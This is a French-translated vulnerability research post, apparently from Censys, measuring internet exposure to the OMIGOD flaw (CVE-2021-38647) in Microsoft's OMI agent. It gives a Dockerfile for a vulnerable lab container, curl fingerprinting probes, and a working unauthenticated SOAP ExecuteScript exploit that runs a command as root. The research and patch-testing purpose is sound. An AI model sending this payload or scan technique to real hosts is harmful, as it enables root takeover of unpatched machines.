Vue d'ensemble
La société de sécurité informatique en nuage wiz.io a récemment annoncé une série de vulnérabilités liées à un composant installé automatiquement sur de nombreuses machines virtuelles Azure Linux : L'agent Microsoft Open Management Infrastructure (OMI). L'une de ces vulnérabilités est de nature critique, avec un score CVSS de 9,6. La cause première de la vulnérabilité est une vérification d'autorisation manquante avant d'exécuter une commande de gestion à distance demandée. L'article du blog de Wiz sur cette vulnérabilité contient des détails fantastiques sur les voies d'exploitation et une analyse globale approfondie. L'objectif de cet agent est de permettre la gestion à distance des machines basées sur Linux en utilisant WinRM, qui était à l'origine une fonctionnalité intégrée à Microsoft Windows.
Il est d'ores et déjà prouvé que ce problème fait l'objet d'un balayage massif sur l'internet, et il est donc essentiel que les organisations appliquent des correctifs.
Censys a réalisé une évaluation d'impact à l'aide de notre ensemble de données sur l'internet universel. Voici nos principales conclusions :
- Il y a
56 101 services exposés connus Il s'agit notamment d'un grand organisme de santé et de deux grandes sociétés de divertissement. La faible empreinte peut être associée à des nuances dans la manière dont le service OMI réagit, et le fait que l'exposition d'OMI à l'Internet nécessite probablement un effort délibéré.
- Les scanners de réseau manquent le service OMI à moins qu'ils ne signalent les sockets ouvertes même si la socket ne renvoie pas d'informations, ou qu'ils contraignent le service à répondre à l'aide d'un en-tête Content-Type.
- OMI semble également être déployé en dehors d'Azure.
- Censys a contacté trois organisations pour les informer de l'exposition.
- Censys a publié un fichier Docker qui peut être utilisé par la communauté des chercheurs en sécurité pour tester la validation des vulnérabilités et des correctifs.
Mise à jour 2021-09-17 : 101 hôtes font face à l'internet
En utilisant une charge utile spécifique pour extraire les versions du service OMI, Censys a effectué une recherche ultérieure des hôtes OMI exposés. Nous avons pu en découvrir 101, contre 56 précédemment avec une recherche ne contenant que l'en-tête Content-Type :
Identifier les hôtes concernés
Censys scrute régulièrement l'internet à intervalles variés, avec une intensité plus grande dans les plages d'adresses IP des réseaux en nuage connus, en raison de leur probabilité de changer de mains plus fréquemment. Compte tenu de notre ensemble de données Internet unique et de l'intuition, issue de nombreuses années d'expérience, que la plupart des entreprises commettent des erreurs lors de la configuration des services en nuage, nous nous attendions à ce que des milliers d'hôtes soient exposés. Une première recherche a permis de trouver 2,3 millions d'hôtes, les 10 premiers étant classés par système autonome (AS) :
Remarque : vous pouvez exécuter ce rapport vous-même : (services.port : 5985 ou services.port : 5986 ou services.port : 1270)
Bien sûr, en creusant un peu, il y aurait de nombreux services sur ces ports qui ne sont PAS OMI. Tout d'abord, WinRM classique/Windows fonctionne également sur les ports 5985 et 5986. Ces services répondent généralement avec un en-tête Microsoft-HTTPAPI Server, ils sont donc faciles à filtrer. De plus, il y aura des tonnes de services qui ne sont pas OMI simplement parce que les gens réaffectent généralement les services web sur des ports plus élevés pour éviter la détection, bien que ce soit une mauvaise forme de sécurité. Compte tenu de ces problèmes, l'identification des hôtes OMI nécessite une compréhension plus approfondie du fonctionnement d'OMI. Avec l'aide initiale et les conseils de @wvu de Rapid7, Censys a construit un fichier Docker qui créera un environnement OMI directement à partir des binaires publiés sur la page des versions OMI de GitHub, ainsi que SCXCore pour réaliser l'exécution.
FROM ubuntu
LABEL org.opencontainers.image.version="1.0.0"
LABEL org.opencontainers.image.vendor="Censys"
LABEL org.opencontainers.image.url="https://censys.io/blog"
LABEL org.opencontainers.image.title="Censys Microsoft OMI Container Environment"
LABEL org.opencontainers.image.description="Creates an environment which exposes a plaintext OMI service on port 5985"
ARG OMI_VERSION=1.6.8-0
ARG SCX_VERSION=1.6.6-0
ARG SCX_TARGET=universal
RUN apt-get update && apt-get install -y \
wget \
&& rm -rf /var/lib/apt/lists/*
RUN wget https://github.com/microsoft/omi/releases/download/v$OMI_VERSION/omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
&& dpkg -i omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
&& rm omi-$OMI_VERSION.ssl_110.ulinux.x64.deb \
&& sed -i "s|httpport=0|httpport=5985|g" /etc/opt/omi/conf/omiserver.conf
RUN wget https://github.com/microsoft/SCXcore/releases/download/$SCX_VERSION/scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb \
&& dpkg -i scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb \
&& rm scx-$SCX_VERSION.ssl_110.$SCX_TARGET.x64.deb
RUN /etc/init.d/omid stop
EXPOSE 5895
ENTRYPOINT /etc/init.d/omid restart; tail -f /var/opt/omi/log/omiserver.log
Avec cela en main, nous pouvons construire un environnement OMI vulnérable :
docker build -t "censys/omigod" .
Ensuite, nous pouvons exécuter l'environnement :
docker run --rm -d -p 5985:5985 censys/omigod
Nous avons maintenant un conteneur Docker en cours d'exécution avec le service OMI lié au port 5985 localement (n'hésitez pas à changer le numéro de port à gauche des deux points si vous souhaitez utiliser un port différent). L'étape suivante est aussi simple que de jouer avec le serveur. Essayons un simple GET /
c'est-à-dire ce que la plupart des scanners envoient à l'inventaire par l'intermédiaire d'Internet :
curl localhost:5985 -v
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> GET / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
>
* Empty reply from server
* Connection #0 to host localhost left intact
curl: (52) Empty reply from server
* Closing connection 0
Il est intéressant de noter que la connexion se ferme immédiatement. Serait-ce la raison pour laquelle nous ne voyons pas de résultats dans la plupart des moteurs de balayage, tels que Censys, Shodan, etc. Un examen approfondi du code (après tout, il s'agit d'un code source ouvert) pourrait nous donner plus d'indices, mais il s'avère que le serveur répondra littéralement à toute requête contenant un en-tête Content-Type, alors définissons-en un :
curl localhost:5985 -v -H 'Content-Type: lol'
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> GET / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: lol
>
< HTTP/1.1 400 Bad Request
< Content-Length: 0
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
* Closing connection 0
C'est beaucoup mieux ! Nous recevons maintenant une vraie réponse. Dans ce cas, le serveur indique qu'il veut que nous utilisions soap+xml comme type de contenu. Essayons donc de le définir et de fournir un mauvais message soap pour voir ce que nous obtenons :
curl localhost:5985 -v -H 'Content-Type: application/soap+xml' -d '<'
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> POST / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Content-Length: 1
>
* upload completely sent off: 1 out of 1 bytes
< HTTP/1.1 500 Internal Server Error
< Content-Length: 1360
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wsman/1/wsman/fault</wsa:Action><wsa:MessageID>uuid:4CA3D632-CC25-0005-0000-000000020000</wsa:MessageID></SOAP-ENV:Header><SOAP-ENV:Body><SOAP-ENV:Fault><SOAP-ENV:Code><SOAP-ENV:Value>SOAP-ENV:Receiver</SOAP-ENV:Value><SOAP-ENV:Subcode><SOAP-ENV:Value>wsman:InternalError</SOAP-ENV:Value></SOAP-ENV:Subcode></SOAP-ENV:Code><SOAP-ENV:Reason><SOAP-ENV:Text xml:lang="en-US">Failed to parse XML. An XML element was expected and not found.</SOAP-ENV:Text></SOAP-ENV:Reason></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>* Closing connection 0
Fantastique. Nous pouvons en fait invoquer la partie du code qui tente de lire un message SOAP soumis (il nous dit une erreur en essayant d'analyser notre charge utile cassée), ce qui implique que l'authentification a été contournée. Enfin, nous pouvons essayer un exploit, également pris en charge par @wvu (note, ceci s'exécute `id
` sur l'hôte, capturé dans l'image `aWQ=
` chaîne d'exécution encodée en base64 ci-dessous) :
curl localhost:5985 -v -H 'Content-Type: application/soap+xml' -d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"><s:Header><a:To>HTTP://127.0.0.1:5985/wsman/</a:To><w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI><a:ReplyTo><a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address></a:ReplyTo><a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action><w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize><a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID><w:OperationTimeout>PT1M30S</w:OperationTimeout><w:Locale xml:lang="en-us" s:mustUnderstand="false"/><p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/><w:OptionSet s:mustUnderstand="true"/><w:SelectorSet><w:Selector Name="__cimnamespace">root/scx</w:Selector></w:SelectorSet></s:Header><s:Body><p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:Script>aWQ=</p:Script><p:Arguments/><p:timeout>0</p:timeout><p:b64encoded>true</p:b64encoded></p:ExecuteScript_INPUT></s:Body></s:Envelope>'
Voici le résultat de l'exécution :
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 5985 (#0)
> POST / HTTP/1.1
> Host: localhost:5985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Content-Length: 1506
> Expect: 100-continue
>
* Done waiting for 100-continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Length: 1409
< Connection: Keep-Alive
< Content-Type: application/soap+xml;charset=UTF-8
<
* Connection #0 to host localhost left intact
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action><wsa:MessageID>uuid:4CA3D632-CC25-0005-0000-0000000B0000</wsa:MessageID><wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-000000010000</wsa:RelatesTo></SOAP-ENV:Header><SOAP-ENV:Body><p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:ReturnValue>TRUE</p:ReturnValue><p:ReturnCode>0</p:ReturnCode><p:StdOut>uid=0(root) gid=0(root) groups=0(root)
</p:StdOut><p:StdErr></p:StdErr></p:SCX_OperatingSystem_OUTPUT></SOAP-ENV:Body></SOAP-ENV:Envelope>* Closing connection 0
Comme vous pouvez le voir ci-dessus, nous avons une exécution en tant que root ("uid=0(root) gid=0(root) groups=0(root)"), confirmant la vulnérabilité.
Maintenant que nous avons vérifié que nous avons un environnement d'exécution vulnérable, qu'en est-il d'un environnement non vulnérable ? Nous pouvons également le faire en spécifiant simplement le numéro de version mis à jour comme argument de construction du conteneur Docker, et un nouveau nom de conteneur à différencier :
docker build --build-arg OMI_VERSION=1.6.8-1 -t "censys/omigod-patched" .
Exécutez-le ensuite avec :
docker run --rm -d -p 6985:5985 censys/omigod-patched
Avec un conteneur patché fonctionnel, nous pouvons tester les mêmes commandes cURL que précédemment et observer les réponses. Il s'avère que la version corrigée ne répond pas du tout à moins qu'un en-tête d'autorisation ne soit défini, et laisse le socket en suspens pendant 60 secondes :
curl localhost:6985 -v -k -H 'Content-Type: application/soap+xml'
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 6985 (#0)
> GET / HTTP/1.1
> Host: localhost:6985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
>
* Empty reply from server
* Connection #0 to host localhost left intact
curl: (52) Empty reply from server
* Closing connection 0
Une fois que nous avons défini l'en-tête Authorization, nous pouvons voir la réponse du serveur :
curl localhost:6985 -v -k -H 'Content-Type: application/soap+xml' -H 'Authorization: Basic xxx='
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 6985 (#0)
> GET / HTTP/1.1
> Host: localhost:6985
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/soap+xml
> Authorization: Basic xxx=
>
< HTTP/1.1 401 Unauthorized
< Content-Length: 0
< WWW-Authenticate: Basic realm="WSMAN"
< WWW-Authenticate: Negotiate
< WWW-Authenticate: Kerberos
<
* Connection #0 to host localhost left intact
* Closing connection 0
Jusqu'à présent, nous avons recueilli un certain nombre d'informations essentielles sur ce service :
- Une version vulnérable du service Microsoft OMI ne répond pas à moins qu'un en-tête Content-Type ne soit défini.
- Si l'en-tête Content-Type est défini dans une requête adressée à un service OMI vulnérable, celui-ci répondra par 400 / Bad Request si le Content-Type n'est pas "application/soap+xml"
- Une version corrigée du service Microsoft OMI se bloque si l'en-tête d'autorisation n'est pas défini.
- Il n'est pas nécessaire de spécifier le sous-chemin URI de /wsman, car OMI interprète volontiers tout SOAP qui lui est envoyé.
- Les déploiements OMI basés sur Microsoft semblent avoir un nom commun de certificat cloudapp.net, mais ce n'est pas garanti.
- La version TLS du service se comportera de la même manière que la version en clair.
Grâce à ces informations, nous pouvons créer des analyses plus ciblées pour comprendre l'impact, en effectuant simplement nos analyses normales et en définissant l'en-tête Content-Type pendant la requête HTTP. Censys a effectué cette analyse à partir de deux points de vue de l'Internet, par l'intermédiaire des opérateurs Tata et NTT. Au total, nous n'avons identifié que 56 hôtes, ce qui est beaucoup moins que ce que nous avions initialement prévu. La majorité des hôtes se trouvaient dans Azure. En raison de la petite taille de l'échantillon et de la nature ciblée de ces hôtes, Censys ne publiera pas d'ensembles de données pour protéger ces organisations (qui reçoivent probablement déjà des paquets malveillants).
Conclusion
Il est clair que CVE-2021-38647 est un problème critique qui doit être corrigé immédiatement. Heureusement, l'exposition externe massive observée avec d'autres hôtes dans le passé (on pense notamment à Microsoft Exchange) ne semble pas être présente dans ce cas. Cependant, les clients Azure et les utilisateurs d'OMI en dehors d'Azure devraient toujours appliquer les correctifs immédiatement, car ces problèmes permettraient facilement une compromission avec les privilèges les plus élevés possibles dans n'importe quel hôte utilisant OMI.
Pour plus d'informations sur la façon dont les données Censys sont utilisées pour informer les industries des risques critiques et des vulnérabilités, consultez le reste de notre blog. Pour demander une démonstration de notre plateforme de gestion de la surface d'attaque ou pour toute autre question, contactez-nous!